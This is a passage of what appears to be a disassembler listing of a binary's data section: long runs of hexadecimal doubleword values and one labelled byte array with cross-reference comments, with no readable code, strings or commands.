		dd 143EB702h, 0E064C53Bh, 26C7F7Bh, 600B52A5h, 3060A869h
		dd 76006D4Dh, 12C9709Bh, 0D12071h, 0E6C784EFh, 3B269C13h
		dd 25868B01h, 0FE7FBEB7h, 7C552080h, 0EC27998Fh, 957B4213h
		dd 0E11F9000h, 0E8CAA3h, 0ADB573E0h, 8018F53Dh,	0BF0E1A00h
		dd 48F16567h, 1FCA01E9h, 0A6BBA961h, 0D979606Bh, 2083912Eh
		dd 4679440h, 0C03F019Dh, 93324DC2h, 0D448D2FFh,	0FA7E16C8h
		dd 0B626E60Eh, 2CE419Fh, 0F6FC7D87h, 0A5740067h, 69089412h
		dd 73004611h, 8027B3C7h, 3CD199B2h, 0EE00875Fh,	674D0CCEh
		dd 0F9008869h, 41A8DE6Eh, 0EA72D3Bh, 6D1AA2D0h,	0C0D6CCA4h
		dd 0D3137E5Ah, 0EC5A7D01h, 613A1EA5h, 3B188E80h, 0ADE3082Eh
		dd 0B4715700h, 0CCE6FFC0h, 62C7EEE8h, 0FE972113h, 15983740h
		dd 43C9EF07h, 0E12F050Ah, 1B113987h, 29E9A480h,	0EE324BBh
		dd 19BA5101h, 9DC13705h, 1DFEF030h, 0C0BEE6EBh,	464D1A87h
		dd 0A8007FA3h, 601F6DDEh, 90537BF9h, 8B1800E0h,	0E95528CEh
		dd 0E000EED8h, 49ADF0F6h, 28E54041h, 0D38C45h, 0C635AF86h
		dd 2A2523BDh, 0BEC7B907h, 0FF36EC1Bh, 91D203B8h, 0B6333EDDh
		dd 0DCC57CA0h, 286F63Fh, 0AA078FEEh, 1CEF80BEh,	6F92430h
		dd 0FC3EF4C8h, 9A029851h, 10A1A616h, 27810754h,	6DADB0D4h
		dd 7C0EBDE1h, 40016E35h, 88A0C585h, 808300F7h, 90D20539h
		dd 92001E7Eh, 0D5359B4Eh, 0C03B2BAh, 0DBF1567h,	70E4E550h
		dd 0D799AD01h, 93D0BCF4h, 0BE1900E2h, 7098A6C3h, 0A3FCB900h
		dd 0F37C1EF8h, 47DA037Eh, 3D96A121h, 4F6DC4A8h,	0A7D6691Eh
		dd 0A79B8E8h, 0E1AFB700h, 3A5E71FEh, 2BCA032h, 749D0068h
		dd 515DC9E5h, 0D70C6C31h, 20E7BB66h, 3BAA386Dh,	988C16h
		dd 4F4BDED2h, 0D6000F01h, 0A0A2F34Eh, 7EB602C6h, 1A1900AFh
		dd 0EFE88428h, 453F2CF8h, 27C400ECh, 73CD167Eh,	0A05D0E5Fh
		dd 58E00E63h, 35AAA3E3h, 3862863Fh, 9CB28032h, 96D0B824h
		dd 53FB03F9h, 1AD783E2h, 152158D0h, 79500500h, 14B7FD32h
		dd 83F4F2h, 0AE027442h,	0CA46AD47h, 66A38000h, 87457B2Ah
		dd 0E8A60EFBh, 3C070CBh, 79DBA5F1h, 0C7EE0B00h,	33CF314Eh
		dd 3DE400B2h, 0FCD2A29h, 0BE003C12h, 0F4F9FA75h, 1FE845h
		dd 18520757h, 5F89723h,	87C18D00h, 0ABFA519Ch, 0DEA001Dh
		dd 0F2C36167h, 667F85C8h
		dd 931EF700h, 0F3BFB862h, 74B7A1Fh, 86D9F2DDh, 6D5A805Ch
		dd 0D800C081h, 58C5B043h, 0BABD52h, 494632ACh, 62CABEC2h
		dd 36164B00h, 665A35CEh, 786C1FE6h, 3AD6C0AAh, 0B7C628E1h
		dd 0FA79A2EEh, 7AFC7300h, 395D54CFh, 4A503B06h,	80193D1Dh
		dd 0B4940F32h, 97015F38h, 847D7341h, 0B3CC710Dh, 230E0389h
		dd 9F3C8F2Dh, 9E21A1E0h, 1AA3800h, 114A878Ah, 0CB6300E1h
		dd 0F248778Eh, 0E6059413h, 0AB104C4Fh, 0D84E5C81h, 0F4A7D0h
		dd 94377D97h, 207393C2h, 0F9244DEEh, 0EC00491Ah, 2A6D958h
		dd 0BD22308Ch, 7F9E37F0h, 11D62B00h, 1A8F5DDh, 31E71D7h
		dd 0C07EB73Bh, 28D809D2h, 960354BBh, 4C242722h,	6584A070h
		dd 6FE464h, 3E0CA9F6h, 5D0218A0h, 2672AF05h, 0D280F3B3h
		dd 7BA2398Ah, 0BFC50079h, 62D07832h, 91003DE9h,	0B3B7AC53h
		dd 1D27B6Ah, 84738529h,	0BA0FD780h, 0D5EB9C90h,	74E40C07h
		dd 0A6479A90h, 9EC9009Ch, 6E913555h, 98006546h,	0D58D89B8h
		dd 0FCBDA19Dh, 6D1F00B1h, 4974785Ch, 0B8E0D7F6h, 0AA7FE901h
		dd 633FAD3Ch, 1219C0h, 0ECA6E344h, 0A5CA0798h, 5206DF1Eh
		dd 2A64B200h, 3CBA108Eh, 4F80615Ah, 7A970AACh, 0A800139Ch
		dd 89FD5503h, 1D99CB78h, 0C3064FB8h, 52AB2EBAh,	3ECF38C8h
		dd 804A853Fh, 0AA043929h, 279C82h, 535CA393h, 339A816Eh
		dd 0A9492677h, 1C8900B0h, 63C3F978h, 1F9CEC8Ah,	8EE3A370h
		dd 48C02E75h, 97B425ADh, 0C5546800h, 0D9B00F6Fh, 0B23C0F34h
		dd 9401663h, 39B17071h,	0A5839B01h, 6B96BE6Ah, 0F01425DCh
		dd 0ACB8306Eh, 0EA91270h, 80DDD203h, 1CB379F2h,	0B1F818h
		dd 661F8EA7h, 24140F14h, 0C10F180h, 0B101DF76h,	99330C2Dh
		dd 2E08282Ah, 0FC62F41Fh, 96412B1Ch, 0BFF555D4h, 1B331C4h
		dd 0E31B1F86h, 0E0F2B079h, 40171C6Ch, 930007ECh, 1933C87Ah
		dd 46D4000Eh, 1336EA01h, 0F6F232AAh, 0B9000FB0h, 993EC28Bh
		dd 0A1E38003h, 20871048h, 0C5250F11h, 456440EEh, 62AEA701h
		dd 0FFDD6600h, 2DCFD36Fh, 0F4190048h, 15CBF882h, 0BD000437h
		dd 0A980AB9Eh, 0CD7FCE1h, 926DE0EFh, 8F00643Ch,	42A4E77h
		dd 0F16DFA9h, 327D7134h, 64766880h, 5C0081B3h, 0A87836F0h
		dd 1238C89h, 62E82E9Ch,	0C05897DFh, 0C43FB8F2h,	39BD00E0h
		dd 0F0CD28E9h, 3AFC008Bh, 426E1F03h, 0F7D365Eh,	0FE3CDF78h
		dd 8AC60141h, 43DB0A66h, 32FC0h, 15929AB1h, 39C30C0Fh
		dd 2654E600h, 0CBFC6068h, 3ADB837h, 0F7A5AAD1h,	0B8985B82h
		dd 0C7007688h, 0D24A47Eh, 1E158DBEh, 0D4A1E51Dh, 0AC02E44Ah
		dd 0FC2D076Ah, 0DD0FECAFh, 0A4850Ah, 3F7B6CABh,	18E8A5CDh
		dd 0F2A2EC00h, 0D32CD464h, 21F53E52h, 0E5174C80h, 0FA388230h
		dd 59AB5000h, 7614B0CEh, 572B1C39h, 0A78D039Ch,	0C1F49F0Ch
		dd 0ED429214h, 1EFC2283h, 65DC779Dh, 4F00FC26h,	4ACF7CDh
		dd 0AB895C13h, 17C78604h, 2502806Eh, 0F400B38Fh, 115B0281h
		dd 7B5CBCh, 72CD458Dh, 0B55519FBh, 8F183C38h, 0E7CABF9h
		dd 4AEBA007h, 93BCFE6h,	5BECF658h, 68FA7000h, 0DE1E28BAh
		dd 0E680F38Eh, 6A4D860Bh, 67850F0Ch, 2F019E29h,	0E41A4069h
		dd 5FFEE1C6h, 9742B201h, 4AECD2CCh, 11F8ECh, 4686E4A8h
		dd 1E36AB88h, 0D35AD500h, 0ED2FC322h, 0B9690EEEh, 96A0144Dh
		dd 0FC1BA5E6h, 80B37C3Ch, 59B6D232h, 72D675AEh,	0EF380053h
		dd 0DD2CFE93h, 5607A6FAh, 3E464702h, 80285212h,	0B0E31294h
		dd 0FDB600F5h, 60B8030Ch, 4C00C7B2h, 88A745C5h,	784DF0F1h
		dd 5AB0556h, 4031DDAFh,	4CF773F4h, 0F618619Fh, 69500B28h
		dd 5A3A13B6h, 0C0B81C9Dh, 0C7ACAE79h, 23B05066h, 0CA9A5B04h
		dd 0B49068E8h, 0FF10FDh, 3B4B19F0h, 2CDF4DAFh, 96285A00h
		dd 0F6AE637Ch, 0A32000D2h, 49ACBC3Ah, 320CADD3h, 0F0D7FDA0h
		dd 9A5E00DAh, 0BEF28856h, 960086FBh, 22EB9B11h,	0B8916BA4h
		dd 0E148030Ch, 36B73475h, 0F3BC00BDh, 9AF1C3CAh, 2FAB611Ch
		dd 8C397D07h, 0CE60F7F0h, 314801FEh, 665FD83Bh,	0C880D4A1h
		dd 20959F00h, 0ADBA723Fh, 0FC6AFE1Bh, 0C5621EFEh, 93B800CDh
		dd 0C137F50Bh, 0F1ADBD00h, 3AE7A295h, 0C483540Ah, 61500030h
		dd 42E46251h, 0C1010B7Fh, 0E8CDE266h, 0E0852C01h, 0D0FFF3FDh
		dd 0DFE0E368h, 6713AA00h, 0F56974C0h, 35D6097Fh, 21007040h
		dd 0C9017A66h, 2B43802h, 0E07E4876h, 781E6130h,	3FE200EEh
		dd 0C76D8C9Ah, 93F210B8h, 0D10040FEh, 21EB2A9Eh, 12600170h
		dd 205BB7Dh, 0E3C2AFA3h, 43AE005Dh, 0A02055BCh,	0A0B6A5F1h
		dd 5B847DCh, 0A80E37C9h, 591683A1h, 0EE97DEA9h,	13E30440h
		dd 0DFC3E400h, 0BE8D20DDh, 96424C35h, 4E7A4000h, 0DAA92246h
		dd 0E8DB7E00h, 8E30C74Fh, 53AA010Eh, 7C851611h,	0BAF02E61h
		dd 0C6D6065Ah, 0D2E22CACh, 0C8E04B50h, 1C00B6F4h, 0EA2B1F2Eh
		dd 0FEBC7F18h, 8E33396Dh, 484C533Ch, 5A85DC80h,	0F600768Fh
		dd 49FEC90Ch, 3D78CFAh,	224CE15Dh, 0B8C87898h, 1100B9B3h
		dd 1C350842h, 0E40DF0h,	84A03CA4h, 3BCC57B4h, 0C175EE00h
		dd 62C919AEh, 3F1F7D6Eh, 0D500348Dh, 0D7CD1521h, 0C470B571h
		dd 2E38F41Dh, 73F2C80h,	0A36B90h, 6A1F4887h, 5C354F2Dh
		dd 81C49403h, 0F8553C42h, 0B65DFFh, 91191A67h, 188D3696h
		dd 0EA9F7700h, 310ADF07h, 0C17B4Dh, 32E869BDh, 0F8A0A50Ch
		dd 0B8B92607h, 50B79C6Ch, 0B36E8C00h, 942A004Fh, 0D0A2BF84h
		dd 0A3B2E0Dh, 320E00C9h, 0A7916816h, 3CF1E81h, 346340C6h
		dd 0FB9218A6h, 5716C09h, 0E68B80ADh, 3B8E1033h,	0E0800A9Eh
		dd 0C526FD48h, 0A600DF0Dh, 0FFB758ABh, 0DCCC0Bh, 0FDC06D16h
		dd 0CA31669Bh, 272C4274h, 0C800C37Bh, 0E25B14C9h, 0F5FB00EEh
		dd 3BE479D7h, 0F60E5DA5h, 0E0702584h, 0C6BF16B8h, 0FAF116E9h
		dd 8DB10FC2h, 6480C320h, 5900D334h, 739A0569h, 0F2675F2h
		dd 0E7662B3Dh, 0EA2E2E8Ch, 3A5FD058h, 39580C8h,	631A4896h
		dd 0D4830007h, 64947BBBh, 99008893h, 35018922h,	0F4DEA9B6h
		dd 0E4E279AFh, 0D60F3C19h, 0D7136400h, 0D5DD2BD9h, 9FF06638h
		dd 3DC0A2D3h, 0D0578CBBh, 0C17005Ch, 2434A92Dh,	110FD61Fh
		dd 80804DDAh, 7CC245EBh, 26CE00DCh, 0F864FF3Bh,	0AA3AF022h
		dd 0C38F063h, 0B490D4C7h, 165B1900h, 63A3E00Ah,	0EF6F1CE3h
		dd 0C9B6B0DAh, 0B004E27h, 59D23A65h, 0F2209D60h, 24A00FCAh
		dd 0E8E0BF87h, 905F395Ah, 0A7108900h, 68E31D8Bh, 3CA600C5h
		dd 34AA9F47h, 0CC008D77h, 87DB4058h, 6FE75Dh, 67163D2Bh
		dd 6C325CBEh, 212D10C0h, 3474C80h, 4312E1EEh, 278064A4h
		dd 0BC00EBF7h, 0B88CA51Bh, 38931D9Eh, 0D8806276h, 48D65B7Ah
		dd 43008FE4h, 0ADA93DFEh, 3945B12Bh, 0A53D0150h, 0AECF0E04h
		dd 0DF4DC1AAh, 65BCE8D8h, 2294FA02h, 40932303h,	2D8413h
		dd 82DAEC8Ah, 0EA816C60h, 0A7446300h, 32E97710h, 0C5A901ACh
		dd 407B6A0Eh, 0A302219h, 0F45A2AF6h, 5169F001h,	1760A1DCh
		dd 0B7630EF9h, 56606FA5h, 66D6F2EEh, 312CEE0h, 0E1C345Eh
		dd 5B0CC2C3h, 0E122C0C4h, 0BB390341h, 9B7BD2B5h, 74720890h
		dd 0A6896802h, 0C069CBC1h, 0E422ACh, 52EA21DEh,	0D5F7959Bh
		dd 0FAD1E513h, 80ACCE0Bh, 0F32C5450h, 0EAECE586h, 93AA008Fh
		dd 7C8D0E30h, 1300D707h, 9D2CA852h, 21BD1EEh, 4B97B4FFh
		dd 8EE1B070h, 908360E1h, 0DEBA5703h, 0D83817FBh, 7CC47B68h
		dd 41D83F3Ch, 0C00924F8h
		dd 6ABE0080h, 0C95CCA0Fh, 0E6483000h, 0D5BBF57Ch, 0AAD00D6h
		dd 0D392DADEh, 7026FB9h, 5775FBA8h, 252140FFh, 0DE9A0249h
		dd 2E6A53F0h, 17C0FC60h, 229E9200h, 0F78F985Fh,	0EE4400A5h
		dd 0EFC3B9BEh, 41002C12h, 9CE37842h, 0A36E9285h, 138EE110h
		dd 3F9800D3h, 3A776158h, 8C7464A8h, 19424514h, 4D950C10h
		dd 79F3941h, 9CDD20A3h,	541141ABh, 7160FA97h, 1008335h
		dd 4292D639h, 1CACBC7h,	4F7A4593h, 0F033EAA8h, 0C439150Ah
		dd 0BE1D0095h, 0E22879F8h, 6978CFh, 91DAFD9Ah, 6CF352ACh
		dd 3843C807h, 68153F71h, 5B6D5C00h, 2D0A86Eh, 9AAE660Ch
		dd 68006A7Ch, 7043B63h,	0C4B0B5E8h, 802F47D8h, 0DFDAE953h
		dd 0DB89EB02h, 8079659Bh, 0FEF98814h, 0AA9A008Bh, 94FD8260h
		dd 0FC00B0D6h, 0C7C94804h, 0BD517Ch, 613837D4h,	167FA863h
		dd 2807900h, 0D7CD798h,	0B7663F82h, 0BC52D000h,	21264638h
		dd 80836403h, 0B8D26BC4h, 1E887B94h, 0B11CFh, 574C3A23h
		dd 3F1D5465h, 2AC0F84Ah, 7C9B5F20h, 0ED0405E6h,	0FBF4E568h
		dd 9260B3C7h, 16305DD6h, 72FAEh, 35C1636Fh, 0BC0122C5h
		dd 8E4E5ACCh, 0F8F3482Bh, 4823FBBBh, 7500D07Ah,	0D2B35E38h
		dd 0B2845BDh, 531EA16Ah, 8FF93610h, 0E331CCB6h,	8A8767E4h
		dd 0A49C80E7h, 179704Eh, 3BD968EEh, 0D1D8198Bh,	0AE2F00A7h
		dd 61700046h, 3935131Ch, 15B8DD6Bh, 0B1ECFC14h,	0EFE800BCh
		dd 536787Fh, 984C00E3h,	5A198FEEh, 0DD00B332h, 2D31D22Fh
		dd 0C62E825Bh, 380F0DE0h, 9E181B7Eh, 0D549B0F0h, 582C0079h
		dd 0DCA76E32h, 8CC7E3Ah, 3BF721CEh, 11004840h, 0B2F5C736h
		dd 960388CDh, 216DFB1Eh, 0B529049Eh, 93E4EE2Ah,	0F6B0EB0Ch
		dd 9E067AA5h, 0D199DDA8h, 204EF638h, 113D6EF0h,	59060F5h
		dd 0C02BBD89h, 50F248A8h, 1A001DEEh, 0E92338B1h, 0E61E09h
		dd 0FA302D5Bh, 1C75440Ch, 33782C03h, 0B0B7F1C3h, 0F883B6B8h
		dd 1D971C20h, 0E8228047h, 0BA1E06B3h, 162EEF03h, 0A0CCF03Eh
		dd 57A027h, 0A341998Fh,	0D8546990h, 3907CAEEh, 0CFF77192h
		dd 0B86336B0h, 7E1B006Bh, 8409C9A5h, 0E900C0B0h, 5224CFDBh
		dd 774F2Eh, 1C2DB471h, 22D17E4Ah, 32CB7B1Dh, 8D546E00h
		dd 60613408h, 2B5138CEh, 32B8DA6Ch, 0B830BD79h,	742351AEh
		dd 182960FAh, 3F5E177Ch, 0F6B72516h, 5462F800h,	3F8958D3h
		dd 0D28FE3ECh, 0B8C0262Bh, 826956FEh, 5E09342Fh, 0AA4400F5h
		dd 843778A7h, 63E7E601h, 9F22BEDh, 0C4998DCh, 0B838D130h
		dd 0EA03B778h, 0DF587CC8h, 0A89FCB83h, 0A272C4h, 209AEDAFh
		dd 7D55C52Dh, 0F0CA2506h, 7B108A6h, 29E8212Bh, 0C3D221DCh
		dd 201880AAh, 94A45F85h, 188838E6h, 0CD95D300h,	0D8F89F46h
		dd 8CD63Fh, 88536347h, 0DD86C7h, 0DF0E0B3h, 21717F0Bh
		dd 69D60200h, 1A03FDEEh, 0D16000B5h, 6F8C3631h,	8A1DDEDBh
		dd 0A6FDB256h, 650027CFh, 0E170FA5Dh, 7CCC776Ch, 2CB40006h
		dd 4D6D4935h, 7674F526h, 0D46A8300h, 0DA1A11F0h, 3E3978CBh
		dd 2F8EC272h, 4D1D2376h, 0F0289855h, 6E005C4Ch,	3C1D44C6h
		dd 813920h, 465D53EBh, 7F62EEDAh, 0A7553A18h, 0CD2A31h
		dd 4D23BA6Bh, 5D03DF6h,	0B1F04100h, 97D336B6h, 727130E4h
		dd 0C2EC4988h, 0E7B7FE07h, 24807BFDh, 18CB5B10h, 5033E279h
		dd 5600AC4Dh, 0DBD53873h, 10EF76Bh, 0E58E6EC2h,	286D65E1h
		dd 5A180E42h, 89994C8Ch, 570600F7h, 0A527326h, 0D80EE4C0h
		dd 0E7D59422h, 16B0A50Dh, 0C6220h, 1F04349h, 25C5B382h
		dd 31A74C00h, 0E0682954h, 3E30FE3Dh, 884812EDh,	0C2619D30h
		dd 5E50D3ADh, 5A00EB98h, 7F2105D9h, 0C76F8294h,	0B08BA1E1h
		dd 0BF56AF1h, 0AF6E660Bh, 21CE8CFCh, 68F0040h, 959E24EAh
		dd 19C07880h, 5D29C5FDh, 0E274159Fh, 0B400842Dh, 9132D5DDh
		dd 0F500DE99h, 684B1AD2h, 3B341926h, 5898FE27h,	0D46FA08Dh
		dd 11F77F00h, 0D121FFCFh, 88A907EBh, 0B082BCF3h, 0E145F2F8h
		dd 5276FC00h, 8D202255h, 0E21F0374h, 153A8B6Ah,	65BA4A88h
		dd 2F88AB07h, 2E517E83h, 80E36FBEh, 0F76C0h, 0C301F1A4h
		dd 89A9E1DFh, 5D8809C8h, 0BD6E18F4h, 0EB19108Ch, 0F448AE00h
		dd 25EE7EBAh, 0F3A03CA4h, 6E8A7480h, 0DF973AE1h, 0A80F2619h
		dd 8E089229h, 44159C44h, 0AA45C121h, 81109D9h, 10491299h
		dd 2E402002h, 0C1D3447Ah, 44FDA744h, 2144513Ch,	0B1D744CEh
		dd 0A0919544h, 0CA2D7A50h, 8286229h, 85944C3Bh,	239A1114h
		dd 2228F628h, 39422B2Ah, 2FE5A308h, 81000A11h, 3FCA1A0h
		dd 0EF902D2Bh, 0AC71A31Eh, 90847340h, 1C379E6h,	75ED2083h
		dd 0CD8B0131h, 86C0EEFAh, 0F500F63Fh, 0A8E1E443h, 1B5DDD9h
		dd 7B2BBCBDh, 0DC944E3Eh, 0B91F4F93h, 23C08856h, 8683552h
		dd 653B0025h, 80F8B82Fh, 14EAFC3Ch, 2B00DCEAh, 0E26B195Ch
		dd 3C7E8h, 258F872Ah, 900D10E4h, 0BAFB9403h, 821CF031h
		dd 0CCAF60B4h, 5A7AC5h,	0BA73BF8h, 3C07CF8Ah, 72D6DA00h
		dd 4B8B0939h, 0C29E00A1h, 0F634B1ABh, 9C0051F7h, 4260C4DBh
		dd 25C5Bh, 59295397h, 0C6FD2E05h, 93036879h, 3A73F29Dh
		dd 0AA7800F3h, 0D8D63EF9h, 0D2009ACBh, 0BC1250F5h, 0E68FAFD7h
		dd 8A0F0306h, 51045631h, 0A753ACB0h, 36529C01h,	35C64012h
		dd 6AF48C61h, 0F8A20783h, 50BAF797h, 0FE5CB6A9h, 500753E0h
		dd 0B51017B8h, 0E05F91D3h, 8E953Dh, 0BDD9B21h, 0E362CB1Fh
		dd 28F8D100h, 0E235865Bh, 0E5F280Ah, 384C009Ch,	0A783A11Ch
		dd 8F0F891Ah, 7FEFED15h, 799402C2h, 0A6EFE005h,	0E9E600ABh
		dd 4C52E7B9h, 9B00F893h, 298D693Bh, 235099h, 1F313C90h
		dd 2820CA71h, 0AC778609h, 0D7580126h, 5ED40709h, 4FBC0067h
		dd 0F3D540Eh, 6C005815h, 1EC33256h, 28A63BC2h, 1FAB50A5h
		dd 87CB0F80h, 60D8A4DBh, 631CDE2Ch, 83904F03h, 0F8FB0E88h
		dd 1DA19E39h, 40D36B5Fh, 9B84E59Ch, 0C40E16A7h,	0C014858Bh
		dd 99E2D801h, 5ACF3E08h, 46FEA18Fh, 59F87560h, 4D1DBD86h
		dd 5D1D5136h, 0E89549h,	87830224h, 467600C5h, 0F7C4EA56h
		dd 4090BB4Fh, 0E6B23E03h, 0F8480F2Ah, 39FAC335h, 6300777Fh
		dd 50D09C5Ah, 7E0343D3h, 0F7424705h, 0C9888B14h, 30C4F07Bh
		dd 0FEFB00C3h, 0CA557704h, 0BC003769h, 9C72AF20h, 3CEF2Ah
		dd 4D2DEAE4h, 0F9E38EA5h, 0C2E78D03h, 0D881CC41h, 0F989DB6h
		dd 0EC92CDB4h, 0CE8207C0h, 0BE00093Ch, 0F5F1018Eh, 0FAA549Ah
		dd 0A9841315h, 0E048E06Dh, 0D106D494h, 0AD671B9h, 0EED20030h
		dd 9C2B8878h, 983C352Fh, 0DC770754h, 18813F4Ah,	94205DB4h
		dd 574D1C47h, 6E9E4082h, 0BC94F7E5h, 9B53E8C0h,	8193F5h
		dd 6D2B7B47h, 0CFE22B4h, 97825F00h, 4E9F669Eh, 1FE30792h
		dd 0BF52293Ch, 0AE77ED21h, 383108h, 8E31A182h, 0E92BFE00h
		dd 615E7817h, 97A70F1Fh, 0F760E3E5h, 0EB326258h, 73C3900h
		dd 9B04CF9Ah, 9357004Fh, 5DB16D4Ch, 2D00B0A7h, 2F13A5DBh
		dd 0C576C2h, 2992048Eh,	9A831833h, 3ED1E509h, 298009Bh
		dd 784B436h, 3D356791h,	709820E7h, 2900D289h, 0A281EBD9h
		dd 0B95728h, 626ED651h,	0E5FDF622h, 4B6C6900h, 0C98F5EBAh
		dd 3B9F0053h, 0ADAF1BE3h, 14EE7C96h, 3F0171EAh,	5BC54819h
		dd 0C0201CC0h, 844500B5h, 9C532552h, 2B7A9E54h,	9FFE29E8h
		dd 0D0CC3E00h, 87BC3599h, 0BB600EEh, 0CAA684C3h, 60380E9h
		dd 0A7095CFDh, 0A02E998h
		dd 53819A40h, 961E0010h, 9FABA0B5h, 9006E6Fh, 6CE22EEBh
		dd 0F460D858h, 5DF80451h, 80740DEAh, 0DC116984h, 50CC4B03h
		dd 0A449D599h, 5FFACC80h, 20AD3DF7h, 4C137800h,	921D874Bh
		dd 0FDBCC154h, 54001873h, 23BCFFE4h, 49C3C5h, 168B4CAAh
		dd 1C99B3CDh, 53DE1701h, 8E4E87C2h, 0EDDCC20h, 0B25CE04h
		dd 6C626F60h, 0B30065D9h, 9D6EA87Fh, 4DDA570h, 8DFB7C22h
		dd 6D408160h, 452FD83Ah, 0F6F81398h, 0A6CB40F9h, 44909856h
		dd 4F0D3D00h, 0A4F2BBD1h, 71A8004Bh, 0F0754C27h, 0AE003722h
		dd 418179E4h, 7C18C5E8h, 0E76614F2h, 0B03D87BEh, 0EBD8A003h
		dd 0DEE012DDh, 0C2009962h, 649EAE4Eh, 130932h, 0C60AA6F8h
		dd 0E8054184h, 8F80EFF5h, 5CB0857Ch, 7DBFC700h,	76A41936h
		dd 2922001Ah, 464D10DFh, 0B20E70AAh, 205E1E35h,	30CB47C4h
		dd 1CA158D8h, 81EACF1Dh, 518E2027h, 814E8A9h, 48013776h
		dd 41A6B48Ch, 0BFF4C803h, 47940F5Bh, 0BCA08F04h, 522AE72Dh
		dd 0A03D6A00h, 0F9CC98A6h, 0C375A8h, 790E0573h,	9E6D1B46h
		dd 30273Fh, 0A32274D7h,	5249943h, 7720EDAEh, 8EB404B7h
		dd 8D6D80C4h, 45002BE4h, 0BE21E13Ch, 0E1CFCh, 0A7822804h
		dd 0E36BD977h, 6F7CC402h, 0FD6E737Fh, 0F959A2E0h, 0CCDFA00h
		dd 42D014AAh, 49DC3EE6h, 33616h, 4029B960h, 0EF1DDDB7h
		dd 2C0F9AB3h, 900660F8h, 77E352h, 11A2FAB4h, 1BB140EAh
		dd 6A1C941Ch, 0C000EF28h, 0E7530C8Fh, 0B63A4Eh,	0A5FB4D30h
		dd 0BADF48F1h, 0E8894300h, 0CF5D9B3Fh, 0A65A0068h, 3B5FF9ADh
		dd 81021F08h, 9E193442h, 0E060C3C4h, 7B63582Fh,	23F0C00Eh
		dd 0F43EE78Ch, 0A912B000h, 4F53A4E2h, 6ED40009h, 8962B914h
		dd 0DB00A19Dh, 0AA75F5BBh, 1FC3E9h, 0DEF4ADCAh,	2279B077h
		dd 0C2DDFB00h, 51703805h, 2D5E0372h, 5D97BD44h,	80902838h
		dd 7947B56Fh, 0FDB4D4h,	0B05A2E77h, 468C3AE1h, 0B10080E8h
		dd 7BF6647Ah, 73EF58h, 0A2871593h, 0EDC46F05h, 0B56CC10Eh
		dd 591240FBh, 0B062D3B3h, 7D9D0051h, 36EF26FFh,	0AD302B60h
		dd 0B5831281h, 8CFB003Bh, 6550DA07h, 390008FCh,	378DCD86h
		dd 74FEE9h, 0C7B9E5D2h,	1445C1D7h, 0E1694E00h, 665F2F39h
		dd 0FF530074h, 0BFD7C33Bh, 8A074A96h, 95EFD910h, 22B84300h
		dd 806F00C9h, 32035AF1h, 2F3BDFE2h, 15A90097h, 50C9EDF9h
		dd 0FAE2C79h, 0C117D00h, 95EE57A0h, 5D7139h, 3DAAEA37h
		dd 0B2BBD8Ch, 0A4FA8D4Ch, 7F639800h, 8EF89EC4h,	0DBB45800h
		dd 909B41F7h, 91A51EDDh, 86007919h, 0DAB23763h,	3258BAFBh
		dd 1206002Ch, 7EE0453Fh, 4AFA3C3Dh, 0E8B92907h,	84D4045Dh
		dd 9C580B4h, 0CA12E1BFh, 68834486h, 38C088C9h, 0B6973968h
		dd 18FD6718h, 8B1290B8h, 74802082h, 80F4A13Dh, 0CEC0C41Ch
		dd 682B6A22h, 0C1850414h, 0EF9CF3F7h, 5842DD80h, 79D20B8Ah
		dd 0B00A03Ah, 0AB597031h, 54850700h, 0C7BB0815h, 0C5F0019Eh
		dd 3C3E24F8h, 8060FE4Dh, 690023B2h, 707B2516h, 0EFD72Ch
		dd 8FACB4C7h, 9DDB5C8Eh, 212BF20Fh, 65005E4Eh, 0C1F70C78h
		dd 0CC134C75h, 0EFADDD00h, 31B5E7CFh, 0B72CC300h, 0A298E0D9h
		dd 6E1004Bh, 8D46C5CCh,	0E431AB5Fh, 0CA7D100Fh,	95A7F4h
		dd 0EF5FDB5h, 6CD21125h, 84674900h, 0DD5058C3h,	0E8774EAAh
		dd 8BBC07C1h, 0B660E91Dh, 0FCDA860h, 4BEC84E3h,	42BE1FC0h
		dd 0E2008C43h, 0D169FFAh, 1B61Bh, 7840F015h, 0C5F3FC05h
		dd 72B2560Bh, 0F7C000A7h, 0E7433BBh, 0B8013964h, 5C781D60h
		dd 90000B62h, 0C4C64C5Fh, 3A964B77h, 8AC8B510h,	0E134FB00h
		dd 6EB6AE71h, 802B1739h, 0E65E6638h, 9A9FB2h, 0F633CF6Ah
		db 0AAh
byte_520045	db 18h,	0ACh, 36h	; DATA XREF: ___:004385A0o
					; ___:004385B8o
		dd 8386BE0Eh, 200EAF66h, 0C98CCC32h, 8B00Ch, 7092A6F7h
		dd 0E5D42EC5h, 0C4C1981Fh, 0CA8A8E43h, 395289E4h, 0AF18A8E3h
		dd 0B35E00F6h, 0D259B6A3h, 6056E1Fh, 2D2833D0h,	0AADDF8C3h
		dd 17BF408Dh, 262B006Dh, 7FB8DC1Bh, 0B700FB3Ch,	0A080234Ch
		dd 70A67E7h, 713A45AFh,	3F0D20D2h, 0CF0479FBh, 4E048014h
		dd 26C98A0h, 1E9BBF4Fh,	89E0A3A0h, 0F4A0D2F8h, 0BC012B74h
		dd 0A351738h, 0F640A4A6h, 2C23A344h, 4A196Bh, 1D97D6C0h
		dd 0B4902A3Eh, 35BB8200h, 5C37B3E1h, 16C700D4h,	0E059C9D3h
		dd 40C218Ah, 0BC517B7Eh, 0E41400B7h, 0B507ACCFh, 0FE00B85Fh
		dd 161BF65Eh, 380CECCEh, 0B200157Eh, 0A090E83Eh, 0A400B5BBh
		dd 620196A8h, 48D81F58h, 9A1FAD71h, 5A188044h, 1485E0E1h
		dd 33AED100h, 0BC68127Ah, 0C4D202DAh, 0F610BBE2h, 0F047BC40h
		dd 0EDCEF100h, 7250A928h, 5E210052h, 9CA52509h,	90005F79h
		dd 0F3B3BCF0h, 92CDDD77h, 1F5B0EB8h, 95E10F03h,	0FCA67E5Fh
		dd 972CB5A2h, 0B605D82Ch, 8E026D16h, 819D33D4h,	27E28A8Ch
		dd 7BD5C4h, 3A4D1F50h, 4755A9D9h, 0B8F1D300h, 8D57A717h
		dd 3B9B3CE2h, 75C59183h, 0D0F4DBC8h, 0C71B1E68h, 0AE9DF000h
		dd 8E7A6F3Eh, 43782Ch, 1EC8AF08h, 0E529C469h, 0DB09D492h
		dd 0CDF0DDh, 0A786BD1Ch, 6D71C8h, 0D62A3D58h, 55B82DFAh
		dd 8B3EC603h, 0E0E47159h, 30DDABC3h, 0E5B89CF5h, 4E0FA9D5h
		dd 545FAFECh, 0AD6D01F7h, 0CE0368E2h, 0FB1AD8h,	2BC66121h
